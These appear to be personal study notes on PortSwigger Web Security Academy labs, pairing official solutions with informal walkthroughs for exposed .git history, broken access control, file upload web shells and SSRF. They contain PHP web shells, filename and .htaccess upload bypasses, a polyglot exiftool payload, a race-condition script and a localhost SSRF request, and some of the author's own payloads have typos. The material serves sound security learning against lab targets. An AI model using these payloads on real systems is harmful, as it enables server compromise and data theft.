2. Download a copy of this entire directory. For Linux users, the easiest way to do this is using the command:
wget -r https://your-lab-id.web-security-academy.net/.git/Windows users will need to find an alternative method, or install a
UNIX-like environment, such as Cygwin, in order to use this command.
3. Explore the downloaded directory using your local Git installation. Notice that there is a commit with the message "Remove admin
password from config".
4. Look closer at the diff for the changed admin.conf file. Notice that the commit replaced the hard-coded admin password with an
environment variable ADMIN_PASSWORD instead. However, the hard-coded password is still clearly visible in the diff.
5. Go back to the lab and log in to the administrator account using the leaked password.
6. To solve the lab, open the admin interface and delete Carlos's account.
55/164
now goto the download files directory
now type command git-cola
open a gui interface
now click on commit option
now click on amend last commit option to show a admin.conf files
reusult :-
56/164
7 Access Control
Labs
If you're already familiar with the basic concepts behind access control vulnerabilities and just want to practice exploiting them on some
realistic, deliberately vulnerable targets, you can access all of the labs in this topic from the link below.
View all access control labs
Broken access controls are a commonly encountered and often critical security vulnerability. Design and management
of access controls is a complex and dynamic problem that applies business, organizational, and legal constraints to a
technical implementation. Access control design decisions have to be made by humans, not technology, and the
potential for errors is high.
From a user perspective, access controls can be divided into the following categories:
◇ Vertical access controls
◇ Horizontal access controls
◇ Context-dependent access controls
57/164
Read more
Access control security models
58/164
user accounts, then this is vertical privilege escalation.
Unprotected functionality
At its most basic, vertical privilege escalation arises where an application does not enforce any protection over
sensitive functionality. For example, administrative functions might be linked from an administrator's welcome page
but not from a user's welcome page. However, a user might simply be able to access the administrative functions by
browsing directly to the relevant admin URL.
For example, a website might host sensitive functionality at the following URL:
https://insecure-website.com/adminThis might in fact be accessible by any user, not only administrative users who
have a link to the functionality in their user interface. In some cases, the administrative URL might be disclosed in
other locations, such as the robots.txt file:
https://insecure-website.com/robots.txtEven if the URL isn't disclosed anywhere, an attacker may be able to use a
wordlist to brute-force the location of the sensitive functionality.
solution:-
1. Go to the lab and view robots.txt by appending /robots.txt to the lab URL. Notice that the Disallow line discloses the path to
the admin panel.
2. In the URL bar, replace /robots.txt with /administrator-panel to load the admin panel.
3. Delete carlos
lab solve:-
59/164
adminPanelTag.setAttribute('https://insecure-website.com/administrator-panel-yb556'); adminPanelTag.innerText =
'Admin panel'; ...}</script>
This script adds a link to the user's UI if they are an admin user. However, the script containing the URL is visible to all
users regardless of their role
This lab has an unprotected admin panel. It's located at an unpredictable location, but the location is disclosed
somewhere in the application.
Solve the lab by accessing the admin panel, and using it to delete the user carlos.
Access the lab
solution :-
1. Review the lab home page's source using Burp Suite or your web browser's developer tools.
2. Observe that it contains some JavaScript that discloses the URL of the admin panel.
3. Load the admin panel and delete carlos.
open a lab now check view page souce to you will see the javascript leakege file show
hidden directory show :- /admin-yx0joo
open a directory to show admin page delete carlos user to solve the lab :)
This lab has an admin panel at /admin, which identifies administrators using a forgeable cookie.
Solve the lab by accessing the admin panel and using it to delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter
solution:-
1. Browse to /admin and observe that you can't access the admin panel.
2. Browse to the login page.
3. In Burp Proxy, turn interception on and enable response interception.
4. Complete and submit the login page, and forward the resulting request in Burp.
5. Observe that the response sets the cookie Admin=false. Change it to Admin=true.
6. Load the admin panel and delete carlos.
60/164
sovle the lab:-
open lab add admin hidden directory to show secret message:- admin lgin is administrator account
intercept on
you login your own account:- wiener:peter
now go to the intercept you will see the admin=false; parameter
now go to the login again
now login as a administrator
now capture the request
now chnage the request admin=false change to admin=true;
now send the request
now you will see admin panel show in browser
now click on admin panel
now again change admin=true;
now delete carlos user
now again change admin=true;
lab is solved :)
This lab has an admin panel at /admin. It's only accessible to logged-in users with a roleid of 2.
Solve the lab by accessing the admin panel and using it to delete the user carlos.
You can log in to your own account using the following credentials: wiener:peter
solution :-
1. Log in using the supplied credentials and access your account page.
2. Use the provided feature to update the email address associated with your account.
3. Observe that the response contains your role ID.
4. Send the email submission request to Burp Repeater, add "roleid":2 into the JSON in the request body, and resend it.
5. Observe that the response shows your roleid has changed to 2.
6. Browse to /admin and delete carlos.
lab solve:-
61/164
now copy all json response value add the request section now change value of roleid “roleid”:2 :-
{
“username”:"wiener".
“email”:test@gmail.com".
“api-key”:lksdjfklsdkfjsdfsdjfsjdkfjksdfklsdklfkldfkd",
“roleid”:2
}
62/164
now you will see the browser admin panel is show now go to
the admin panel and delete carlos user to sovle the lab :)
This website has an unauthenticated admin panel at /admin, but a front-end system has been configured to block
external access to that path. However, the back-end application is built on a framework that supports the X-
Original-URL header.
To solve the lab, access the admin panel and delete the user carlos
solution:-
1. Try to load /admin and observe that you get blocked. Notice that the response is very plain, suggesting it may originate from a front-
end system.
2. Send the request to Burp Repeater. Change the URL in the request line to / and add the HTTP header X-Original-URL: /invalid.
Observe that the application returns a "not found" response. This indicates that the back-end system is processing the URL from the X-
Original-URL header.
3. Change the value of the X-Original-URL header to /admin. Observe that you can now access the admin page.
4. To delete the user carlos, add ?username=carlos to the real query string, and change the X-Original-URL path to /admin/delete
open lab
click on admin panel now you will see the access denied
now intercept is on
now click on admin panel go to the intecept now send requet in repeater
now again send requet
63/164
now remove get /admin parameter
now scrool down add the X-Original-URL: /invalid
again send request to show not found
64/164
now you will see the admin panel is successfully work
now add this parameter X-Original-URL: /admin/delete
and add get requset parameter /?username=carlos
An alternative attack can arise in relation to the HTTP method used in the request. The front-end controls above
65/164
restrict access based on the URL and HTTP method. Some web sites are tolerant of alternate HTTP request methods
when performing an action. If an attacker can use the GET (or another) method to perform actions on a restricted
URL, then they can circumvent the access control that is implemented at the platform layer.
This lab implements access controls based partly on the HTTP method of requests. You can familiarize yourself with
the admin panel by logging in using the credentials administrator:admin.
To solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote
yourself to become an administrator.
solution :-
Community solution :-
lab solve :-
66/164
now again click on carlos admin upgrade
go to the request again paste the cookie
now add the post to postx now send the request
now you will see the mising parameter
67/164
now again click on carlos admin upgrade option
go to the intercept now right click on burpsuite click on change request method to get
now pate session id in wiener
now change the username is wiener
now send the request
now you will see lab is solved :)
68/164
lab 7 User ID controlled by request parameter
This lab has a horizontal privilege escalation vulnerability on the user account page.
To solve the lab, obtain the API key for the user carlos and submit it as the solution.
You can log in to your own account using the following credentials: wiener:peter
solution :-
1. Log in using the supplied credentials and go to your account page.
2. Note that the URL contains your username in the "id" parameter.
3. Send the request to Burp Repeater.
4. Change the "id" parameter to carlos.
5. Retrieve and submit the API key for carlos.
69/164
community solution :-
User ID controlled by request parameter (Video solution).mp4
lab solve:-
70/164
lab is solved :)
This lab has a horizontal privilege escalation vulnerability on the user account page, but identifies users with GUIDs.
To solve the lab, find the GUID for carlos, then submit his API key as the solution.
You can log in to your own account using the following credentials: wiener:peter
solution :-
1. Find a blog post by carlos.
2. Click on carlos and observe that the URL contains his user ID. Make a note of this ID.
3. Log in using the supplied credentials and access your account page.
4. Change the "id" parameter to the saved user ID.
5. Retrieve and submit the API key
Community solution :-
User ID controlled by request parameter, with unpredictable user IDs.mp4
lab solve:-
open lab login your accout wiener:peer
now go to the blogs page
71/164
now find the carlos post in blogs
now click on carlos
now you will see the carlos user id :-
https://0a6400b803ac042bc0e06c2a001a0072.web-security-academy.net/blogs?userId=872a332e-4271-4837-bd8c-0f1f7124dcbd
user id = 872a332e-4271-4837-bd8c-0f1f7124dcbd
72/164
copy api key submit
you solve the lab :)
In some cases, an application does detect when the user is not permitted to access the resource, and returns a
redirect to the login page. However, the response containing the redirect might still include some sensitive data
belonging to the targeted user, so the attack is still successful.
This lab contains an access control vulnerability where sensitive information is leaked in the body of a redirect
response.
To solve the lab, obtain the API key for the user carlos and submit it as the solution.
You can log in to your own account using the following credentials: wiener:peter
solution :-
1. Log in using the supplied credentials and access your account page.
2. Send the request to Burp Repeater.
3. Change the "id" parameter to carlos.
4. Observe that although the response is now redirecting you to the home page, it has a body containing the API key belonging to carlos
.
5. Submit the API key.
community solution:-
User ID controlled by request parameter with data leakage in redirect (Video solution).mp4
lab solve:-
73/164
open lab
now login your own account :- wiener:peter
now intercept on capture the request
now you will see the userid parameter
and your api key
74/164
lab is solved :)
This lab has user account page that contains the current user's existing password, prefilled in a masked input.
To solve the lab, retrieve the administrator's password, then use it to delete carlos.
You can log in to your own account using the following credentials: wiener:peter
solution:-
1. Log in using the supplied credentials and access the user account page.
2. Change the "id" parameter in the URL to administrator.
3. View the response in Burp and observe that it contains the administrator's password.
4. Log in to the administrator account and delete carlos.
community solution :-
User ID controlled by request parameter with password disclosure (Video solution).mp4
lab solve :-
open lab now login your own account :- wiener:peter
now intercept is on
click on my account
you will see the userid parameter
75/164
now send request in repeater now change username administrator
now you will see the administrator password tri5p9ibsctnp5f86xpb
now copy the administrator password and login your admin account
administrator:tri5p9ibsctnp5f86xpb
now click on admin panel now delete carlos user to solve the lab :)
This lab stores user chat logs directly on the server's file system, and retrieves them using static URLs.
Solve the lab by finding the password for the user carlos, and logging into their account.
solution:-
1. Select the Live chat tab.
2. Send a message and then select View transcript.
3. Review the URL and observe that the transcripts are text files assigned a filename containing an incrementing number.
4. Change the filename to 1.txt and review the text. Notice a password within the chat transcript.
5. Return to the main lab page and log in using the stolen credentials.
Community Solution:-
Insecure direct object references (Video solution).mp4
lab solve :-
open lab now click on live chat options
now type a message randomly now send the request now clik on transcript button
now capture the request
77/164
now copy the password nwo click on my account login in carlos account
carlos:dlivgq8r69s03llquder
lab is solved :)
This lab has an admin panel with a flawed multi-step process for changing a user's role. You can familiarize yourself
with the admin panel by logging in using the credentials administrator:admin.
To solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote
yourself to become an administrator.
solution:-
1. Log in using the admin credentials.
2. Browse to the admin panel, promote carlos, and send the confirmation HTTP request to Burp Repeater.
3. Open a private/incognito browser window, and log in with the non-admin credentials.
4. Copy the non-admin user's session cookie into the existing Repeater request, change the username to yours, and replay it.
Community Solution :-
Multi step process with no access control on one step (Video solution).mp4
lab solve:-
79/164
80/164
81/164
lab 13 Referer-based Access control
This lab controls access to certain admin functionality based on the Referer header. You can familiarize yourself with
the admin panel by logging in using the credentials administrator:admin.
To solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote
yourself to become an administrator.
solution:-
1. Log in using the admin credentials.
2. Browse to the admin panel, promote carlos, and send the HTTP request to Burp Repeater.
3. Open a private/incognito browser window, and log in with the non-admin credentials.
4. Browse to /admin-roles?username=carlos&action=upgrade and observe that the request is treated as unauthorized due to the
absent Referer header.
5. Copy the non-admin user's session cookie into the existing Burp Repeater request, change the username to yours, and replay it.
Solve lab:-
now open lab
82/164
login your own admin account : - administrator:admin
now go to the admin panel
click on update carlos user
go to the requset
now send request in burpsuite
now go to the browser click on duplicate the browser
now login your own account in wiener:peter
now go to the browser home page
now refresh the browser go to the intercept copy session id
now go to privious repeater paste the session id and change your name carlos to wiener
now send the request
lab is solved :)
83/164
8 File upload Vulnerabilities
Labs
84/164
If you're already familiar with the basic concepts behind file upload vulnerabilities and just want to get practicing, you can access all of the
labs in this topic from the link below.
View all file upload labs
In the worst case scenario, the file's type isn't validated properly, and the server configuration allows certain types of
file (such as .php and .jsp) to be executed as code. In this case, an attacker could potentially upload a server-side
code file that functions as a web shell, effectively granting them full control over the server.
If the filename isn't validated properly, this could allow an attacker to overwrite critical files simply by uploading a file
with the same name. If the server is also vulnerable to directory traversal, this could mean attackers are even able
to upload files to unanticipated locations.
Failing to make sure that the size of the file falls within expected thresholds could also enable a form of denial-of-
service (DoS) attack, whereby the attacker fills the available disk space.
85/164
an HTTP response.
◇ If the file type is executable, such as a PHP file, and the server is configured to execute files of this type, it will assign variables based
on the headers and parameters in the HTTP request before running the script. The resulting output may then be sent to the client in an
HTTP response.
◇ If the file type is executable, but the server is not configured to execute files of this type, it will generally respond with an error.
However, in some cases, the contents of the file may still be served to the client as plain text. Such misconfigurations can occasionally be
exploited to leak source code and other sensitive information. You can see an example of this in our information disclosure learning
materials.
Tip
The Content-Type response header may provide clues as to what kind of file the server thinks it has served. If this header hasn't been
explicitly set by the application code, it normally contains the result of the file extension/MIME type mapping.
Now that you're familiar with the key concepts, let's look at how you can potentially exploit these kinds of
vulnerabilities.
Web shell
A web shell is a malicious script that enables an attacker to execute arbitrary commands on a remote web server simply by sending HTTP
requests to the right endpoint.
If you're able to successfully upload a web shell, you effectively have full control over the server. This means you can
read and write arbitrary files, exfiltrate sensitive data, even use the server to pivot attacks against both internal
infrastructure and other servers outside the network. For example, the following PHP one-liner could be used to read
arbitrary files from the server's filesystem:
<?php echo file_get_contents('/path/to/target/file'); ?>
Once uploaded, sending a request for this malicious file will return the target file's contents in the response.
This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload
before storing them on the server's filesystem.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret.
Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
solution:-
1. While proxying traffic through Burp, log in to your account and notice the option for uploading an avatar image.
2. Upload an arbitrary image, then return to your account page. Notice that a preview of your avatar is now displayed on the page.
3. In Burp, go to Proxy > HTTP history. Click the filter bar to open the Filter settings dialog. Under Filter by MIME type, enable
the Images checkbox, then apply your changes.
4. In the proxy history, notice that your image was fetched using a GET request to /files/avatars/<YOUR-IMAGE>. Send this request to
Burp Repeater.
5. On your system, create a file called exploit.php, containing a script for fetching the contents of Carlos's secret file. For example:
<?php echo file_get_contents('/home/carlos/secret'); ?>
6. Use the avatar upload function to upload your malicious PHP file. The message in the response confirms that this was uploaded
successfully.
7. In Burp Repeater, change the path of the request to point to your PHP file:
86/164
GET /files/avatars/exploit.php HTTP/1.1
8. Send the request. Notice that the server has executed your script and returned its output (Carlos's secret) in the response.
9. Submit the secret to solve the lab.
Community solution:-
How File Upload Vulnerabilities Work!.mp4
lab solve :-
open lab
now click on upload pic
upload any jpeg photos
now go to the burpsuite http-history
now you will see the post request /files/avatars/osce.png
send to the repeater
nwo enable burpsuite http-history images check option
now you will see the get request send to the repeater
now go to the repeater
remove all upload text in post request now add the payload
<?php echo file_get_contents('/etc/passwd'); ?>
now change the upload file name exploit.php
now send the request
now go to the second repaeate get options
change filename /files/avatars/exploit.php
now send request you will see the all passwords
now again go to the upload repeater section
change payload
<?php echo file_get_contents('/home/carlos/secret'); ?>
now send request
now go to the get repeater section
again send request
now you will see the secet message copy the massage
and submit solve the lab :)
87/164
88/164
89/164
:)
90/164
A more versatile web shell may look something like this:
<?php echo system($_GET['command']); ?>This script enables you to pass an arbitrary system command via a query
parameter as follows:
GET /example/exploit.php?command=id HTTP/1.1
Exploiting flawed validation of file uploads
In the wild, it's unlikely that you'll find a website that has no protection whatsoever against file upload attacks like we
saw in the previous lab. But just because defenses are in place, that doesn't mean that they're robust.
In this section, we'll look at some ways that web servers attempt to validate and sanitize file uploads, as well as how
you can exploit flaws in these mechanisms to obtain a web shell for remote code execution.
This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file
types, but relies on checking user-controllable input to verify this.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret.
Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
Access the lab
solution:-
1. Log in and upload an image as your avatar, then go back to your account page.
2. In Burp, go to Proxy > HTTP history and notice that your image was fetched using a GET request to /files/avatars/<YOUR-
IMAGE>. Send this request to Burp Repeater.
3. On your system, create a file called exploit.php, containing a script for fetching the contents of Carlos's secret. For example:
<?php echo file_get_contents('/home/carlos/secret'); ?>
4. Attempt to upload this script as your avatar. The response indicates that you are only allowed to upload files with the MIME type
image/jpeg or image/png.
91/164
5. In Burp, go back to the proxy history and find the POST /my-account/avatar request that was used to submit the file upload. Send
this to Burp Repeater.
6. In Burp Repeater, go to the tab containing the POST /my-account/avatar request. In the part of the message body related to your
file, change the specified Content-Type to image/jpeg.
7. Send the request. Observe that the response indicates that your file was successfully uploaded.
8. Switch to the other Repeater tab containing the GET /files/avatars/<YOUR-IMAGE> request. In the path, replace the name of your
image file with exploit.php and send the request. Observe that Carlos's secret was returned in the response.
9. Submit the secret to solve the lab.
lab solve:-
open lab
now UPLOAD a photo
now send send a post reuest in repeater
now send a get reuest in repeater
now remove all text in upload post section
now add a payload
<?php echo file_get_contents('/home/carlos/secret'); ?>
now change name osse.php
now send request
after send request you will see the response section this file is successfully uploaded
now go to get file repeater section
change the file name osse.php
now send request to show the flag
lab is solved :)
92/164
lab 3 web shell upload via path traversal
Tip
Web servers often use the filename field in multipart/form-data requests to determine the name and location where the file should
be saved.
This lab contains a vulnerable image upload function. The server is configured to prevent execution of user-supplied
files, but this restriction can be bypassed by exploiting a secondary vulnerability.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret.
Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
solution :-
93/164
1. Log in and upload an image as your avatar, then go back to your account page.
2. In Burp, go to Proxy > HTTP history and notice that your image was fetched using a GET request to /files/avatars/<YOUR-
IMAGE>. Send this request to Burp Repeater.
3. On your system, create a file called exploit.php, containing a script for fetching the contents of Carlos's secret. For example:
<?php echo file_get_contents('/home/carlos/secret'); ?>
4. Upload this script as your avatar. Notice that the website doesn't seem to prevent you from uploading PHP files.
5. In Burp Repeater, go to the tab containing the GET /files/avatars/<YOUR-IMAGE> request. In the path, replace the name of your
image file with exploit.php and send the request. Observe that instead of executing the script and returning the output, the server has
just returned the contents of the PHP file as plain text.
6. In Burp's proxy history, find the POST /my-account/avatar request that was used to submit the file upload and send it to Burp
Repeater.
7. In Burp Repeater, go to the tab containing the POST /my-account/avatar request and find the part of the request body that relates
to your PHP file. In the Content-Disposition header, change the filename to include a directory traversal sequence:
Content-Disposition: form-data; name="avatar"; filename="../exploit.php"
8. Send the request. Notice that the response says The file avatars/exploit.php has been uploaded. This suggests that the
server is stripping the directory traversal sequence from the file name.
9. Obfuscate the directory traversal sequence by URL encoding the forward slash (/) character, resulting in:
filename="..%2fexploit.php"
10. Send the request and observe that the message now says The file avatars/../exploit.php has been uploaded. This
indicates that the file name is being URL decoded by the server.
11. In the browser, go back to your account page.
12. In Burp's proxy history, find the GET /files/avatars/..%2fexploit.php request. Observe that Carlos's secret was returned in the
response. This indicates that the file was uploaded to a higher directory in the filesystem hierarchy (/files), and subsequently executed
by the server. Note that this means you can also request this file using GET /files/exploit.php.
13. Submit the secret to solve the lab.
lab solve :-
open lab now upload any pic
now send post request in repeater
now send get request in repeater
now go to the repeater
now remove post request all plaintext data
now add the payload
<?php echo file_get_contents('/home/carlos/secret'); ?>
now change filename in encoded ..%2fexploit.php
now send request now you wil see the this file is successsfuly uploaded
now go to the get section
now change filename ..%2fexploit.php
send requst
now you will see the flag
lab is solved :)
94/164
lab 4 web shell upload via extension blacklst bypass
You should also note that even though you may send all of your requests to the same domain name, this often
points to a reverse proxy server of some kind, such as a load balancer. Your requests will often be handled by
additional servers behind the scenes, which may also be configured differently.
95/164
Insufficient blacklisting of dangerous file types
One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially
dangerous file extensions like .php. The practice of blacklisting is inherently flawed as it's difficult to explicitly block
every possible file extension that could be used to execute code. Such blacklists can sometimes be bypassed by using
lesser known, alternative file extensions that may still be executable, such as .php5, .shtml, and so on.
This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be
bypassed due to a fundamental flaw in the configuration of this blacklist.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/
secret. Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
hint :-
You need to upload two different files to solve this lab.
solution:-
1. Log in and upload an image as your avatar, then go back to your account page.
2. In Burp, go to Proxy > HTTP history and notice that your image was fetched using a GET request to /files/avatars/<YOUR-
IMAGE>. Send this request to Burp Repeater.
3. On your system, create a file called exploit.php containing a script for fetching the contents of Carlos's secret. For example:
<?php echo file_get_contents('/home/carlos/secret'); ?>
4. Attempt to upload this script as your avatar. The response indicates that you are not allowed to upload files with a .php extension.
5. In Burp's proxy history, find the POST /my-account/avatar request that was used to submit the file upload. In the response, notice
that the headers reveal that you're talking to an Apache server. Send this request to Burp Repeater.
6. In Burp Repeater, go to the tab for the POST /my-account/avatar request and find the part of the body that relates to your PHP file.
Make the following changes:• Change the value of the filename parameter to .htaccess.
• Change the value of the Content-Type header to text/plain.
• Replace the contents of the file (your PHP payload) with the following Apache directive:
AddType application/x-httpd-php .l33tThis maps an arbitrary extension (.l33t) to the executable MIME type application/x-
httpd-php. As the server uses the mod_php module, it knows how to handle this already.
• Send the request and observe that the file was successfully uploaded.
• Use the back arrow in Burp Repeater to return to the original request for uploading your PHP exploit.
• Change the value of the filename parameter from exploit.php to exploit.l33t. Send the request again and notice that the file
was uploaded successfully.
• Switch to the other Repeater tab containing the GET /files/avatars/<YOUR-IMAGE> request. In the path, replace the name of your
image file with exploit.l33t and send the request. Observe that Carlos's secret was returned in the response. Thanks to our malicious
96/164
.htaccess file, the .l33t file was executed as if it were a .php file.
• Submit the secret to solve the lab.
Community solution :-
Web Shell via Denylist Bypass!.mp4
solve lab :-
97/164
now you will see the error
now add the payload
AddType application/x-httpd-php .shell
now add the filename .htaccess
now change the content-type text/plain
now send the request now you will see the file is successfully uploaded
98/164
now again change the filename exploit.shell
change content type image/jpeg
now change payload
<? php echo file_get_contents('/home/carlos/secret'); ?>
now send the request
99/164
lab 5 web shell upload via obfuscated file extension
Other defenses involve stripping or replacing dangerous extensions to prevent the file from being executed. If this
transformation isn't applied recursively, you can position the prohibited string in such a way that removing it still
leaves behind a valid file extension. For example, consider what happens if you strip .php from the following filename:
exploit.phpThis is just a small selection of the many ways it's possible to obfuscate file extensions
This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be
bypassed using a classic obfuscation technique.
100/164
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/
secret. Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
solution :-
1. Log in and upload an image as your avatar, then go back to your account page.
2. In Burp, go to Proxy > HTTP history and notice that your image was fetched using a GET request to /files/avatars/<YOUR-
IMAGE>. Send this request to Burp Repeater.
3. On your system, create a file called exploit.php, containing a script for fetching the contents of Carlos's secret. For example:
<?php echo file_get_contents('/home/carlos/secret'); ?>
4. Attempt to upload this script as your avatar. The response indicates that you are only allowed to upload JPG and PNG files.
5. In Burp's proxy history, find the POST /my-account/avatar request that was used to submit the file upload. Send this to Burp
Repeater.
6. In Burp Repeater, go to the tab for the POST /my-account/avatar request and find the part of the body that relates to your PHP file.
In the Content-Disposition header, change the value of the filename parameter to include a URL encoded null byte, followed by the
.jpg extension:
filename="exploit.php%00.jpg"
7. Send the request and observe that the file was successfully uploaded. Notice that the message refers to the file as exploit.php,
suggesting that the null byte and .jpg extension have been stripped.
8. Switch to the other Repeater tab containing the GET /files/avatars/<YOUR-IMAGE> request. In the path, replace the name of your
image file with exploit.php and send the request. Observe that Carlos's secret was returned in the response.
9. Submit the secret to solve the lab.
lab solve :-
open lab now go to the my account
now upload a photo
now send post request in repeater
now send get request in repeater
now go to the repeater
now modify the post request
remove all plain text photo data
now add payload
<? php echo get_file_contents('/home/carlos/secret'); ?>
now change filename exploit.php
now send request now you will see the result
101/164
php file not uploaded
you need to encoded url
now encoded filename exploit.php%00.jpg
now send the request
now you will see this file avatars/explot.php has been uploaded
now go to the get repeater section
change filename exploit.php
send request
102/164
lab 6 Remote code execution via polyglot web shell upload
This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a
genuine image, it is still possible to upload and execute server-side code.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/
secret. Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
solution :-
1. On your system, create a file called exploit.php containing a script for fetching the contents of Carlos's secret. For example:
<?php echo file_get_contents('/home/carlos/secret'); ?>
2. Log in and attempt to upload the script as your avatar. Observe that the server successfully blocks you from uploading files that aren't
images, even if you try using some of the techniques you've learned in previous labs.
3. Create a polyglot PHP/JPG file that is fundamentally a normal image, but contains your PHP payload in its metadata. A simple way of
doing this is to download and run ExifTool from the command line as follows:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-
IMAGE>.jpg -o polyglot.phpThis adds your PHP payload to the image's Comment field, then saves the image with a .php extension.
4. In the browser, upload the polyglot image as your avatar, then go back to your account page.
5. In Burp's proxy history, find the GET /files/avatars/polyglot.php request. Use the message editor's search feature to find the
START string somewhere within the binary image data in the response. Between this and the END string, you should see Carlos's secret,
for example:
START 2B2tlPyJQfJDynyKME5D02Cw0ouydMpZ END
6. Submit the secret to solve the lab.
Community Solution :-
Web Shell via Polyglot File Upload!.mp4
lab solve:-
103/164
Exploiting file upload race conditions
Modern frameworks are more battle-hardened against these kinds of attacks. They generally don't upload files
directly to their intended destination on the filesystem. Instead, they take precautions like uploading to a temporary,
sandboxed directory first and randomizing the name to avoid overwriting existing files. They then perform validation
on this temporary file and only transfer it to its destination once it is deemed safe to do so.
That said, developers sometimes implement their own processing of file uploads independently of any framework. Not
only is this fairly complex to do well, it can also introduce dangerous race conditions that enable an attacker to
completely bypass even the most robust validation.
For example, some websites upload the file directly to the main filesystem and then remove it again if it doesn't pass
validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for
malware. This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker
can potentially still execute it.
These vulnerabilities are often extremely subtle, making them difficult to detect during blackbox testing unless you
can find a way to leak the relevant source code.
This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are
uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/
secret. Submit this secret using the button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
hint:-
solution:-
As you can see from the source code above, the uploaded file is moved to an accessible folder, where it is checked for
viruses. Malicious files are only removed once the virus check is complete. This means it's possible to execute the file
105/164
in the small time-window before it is removed.
Note
Due to the generous time window for this race condition, it is possible to solve this lab by manually sending two requests in quick
succession using Burp Repeater. The solution described here teaches you a practical approach for exploiting similar vulnerabilities in the
wild, where the window may only be a few milliseconds.
1. Log in and upload an image as your avatar, then go back to your account page.
2. In Burp, go to Proxy > HTTP history and notice that your image was fetched using a GET request to /files/avatars/<YOUR-
IMAGE>.
3. On your system, create a file called exploit.php containing a script for fetching the contents of Carlos's secret. For example:
<?php echo file_get_contents('/home/carlos/secret'); ?>
4. Log in and attempt to upload the script as your avatar. Observe that the server appears to successfully prevent you from uploading files
that aren't images, even if you try using some of the techniques you've learned in previous labs.
5. If you haven't already, add the Turbo Intruder extension to Burp from the BApp store.
6. Right-click on the POST /my-account/avatar request that was used to submit the file upload and select Extensions > Turbo
Intruder > Send to turbo intruder. The Turbo Intruder window opens.
7. Copy and paste the following script template into Turbo Intruder's Python editor:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,) request1 = '''<YOUR-POST-REQUEST>''' request2 = '''<YOUR-GET-REQUEST>''' #
the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1,
gate='race1') for x in range(5): engine.queue(request2, gate='race1') # wait until every 'race1'
tagged request is ready # then send the final byte of each request # (this method is non-blocking, just
like queue) engine.openGate('race1') engine.complete(timeout=60)def handleResponse(req, interesting):
table.add(req)
8. In the script, replace <YOUR-POST-REQUEST> with the entire POST /my-account/avatar request containing your exploit.php file.
You can copy and paste this from the top of the Turbo Intruder window.
9. Replace <YOUR-GET-REQUEST> with a GET request for fetching your uploaded PHP file. The simplest way to do this is to copy the
GET /files/avatars/<YOUR-IMAGE> request from your proxy history, then change the filename in the path to exploit.php.
10. At the bottom of the Turbo Intruder window, click Attack. This script will submit a single POST request to upload your exploit.php
file, instantly followed by 5 GET requests to /files/avatars/exploit.php.
11. In the results list, notice that some of the GET requests received a 200 response containing Carlos's secret. These requests hit the
server after the PHP file was uploaded, but before it failed validation and was deleted.
12. Submit the secret to solve the lab.
Note
If you choose to build the GET request manually, make sure you terminate it properly with a \r\n\r\n sequence. Also remember that
Python will preserve any whitespace within a multiline string, so you need to adjust your indentation accordingly to ensure that a valid
request is sent.
What is SSRF?
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the
106/164
server-side application to make requests to an unintended location.
In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within
the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary
external systems, potentially leaking sensitive data such as authorization credentials.
Labs
If you're already familiar with the basic concepts behind SSRF vulnerabilities and just want to practice exploiting them on some realistic,
deliberately vulnerable targets, you can access all of the labs in this topic from the link below.
View all SSRF labs
107/164
request to the specified URL, retrieve the stock status, and return this to the user.
In this situation, an attacker can modify the request to specify a URL local to the server itself. For example:
POST /product/stock HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 118stockApi=http://
localhost/adminHere, the server will fetch the contents of the /admin URL and return it to the user.
Now of course, the attacker could just visit the /admin URL directly. But the administrative functionality is ordinarily
accessible only to suitable authenticated users. So an attacker who simply visits the URL directly won't see anything
of interest. However, when the request to the /admin URL comes from the local machine itself, the normal access
controls are bypassed. The application grants full access to the administrative functionality, because the request
appears to originate from a trusted location.
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and
delete the user carlos.
solution :-
1. Browse to /admin and observe that you can't directly access the admin page.
2. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
3. Change the URL in the stockApi parameter to http://localhost/admin. This should display the administration interface.
4. Read the HTML to identify the URL to delete the target user, which is:
http://localhost/admin/delete?username=carlos
5. Submit this URL in the stockApi parameter, to deliver the SSRF attack.
